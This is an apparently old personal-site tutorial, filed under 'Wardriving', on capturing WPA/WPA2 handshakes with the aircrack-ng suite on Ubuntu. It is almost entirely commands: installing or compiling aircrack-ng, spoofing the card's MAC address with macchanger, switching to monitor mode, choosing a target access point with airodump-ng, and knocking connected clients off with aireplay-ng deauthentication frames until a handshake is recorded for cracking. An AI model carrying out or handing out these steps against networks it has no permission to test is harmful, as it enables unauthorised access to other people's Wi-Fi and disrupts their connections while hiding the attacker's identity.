Navigation

Home‎ > ‎Wardriving‎ > ‎

How to capture WPA/WPA2 handshake

Last updated:
11/04/2011
 
Requirements:
- Ubuntu 10.04.3 LTS / Kubuntu 12.04 64bit LTS
- Compatible WiFi card
 
sudo apt-get update
sudo apt-get upgrade
reboot if needed

sudo apt-get install macchanger aircrack-ng

--------------------------------------------------------------------------------------------
Notice:
aircrack-ng was removed from 12.04 repositories. It will need to be compiled from source as follow:

sudo apt-get install build-essential libssl-dev
cd; mkdir aircrack_source; cd aircrack_source
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar zxvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1
vi common.mak

change:
CFLAGS ?= -g -W -Wall -Werror -O3
to:
CFLAGS ?= -g -W -Wall -O3

make
sudo make install
cd; rm -rf aircrack_source
--------------------------------------------------------------------------------------------


--- Short version ---

terminal_1
sudo airmon-ng
sudo airmon-ng stop wlan0
sudo ifconfig wlan0 down
sudo macchanger --mac 00:11:22:33:44:55 wlan0
sudo airmon-ng start wlan0
sudo airodump-ng wlan0 --- pick the target; kill the process with CTRL+C
sudo airodump-ng -c <APchannel> -w <file_name> --bssid <APmac_address> <wifi_network_card>

terminal_2
sudo aireplay-ng --deauth=1 -a <AP_mac_address> -c <connected_client_mac_address> wlan0

see terminal_1 if HandShake was captured; repeat if not

Comments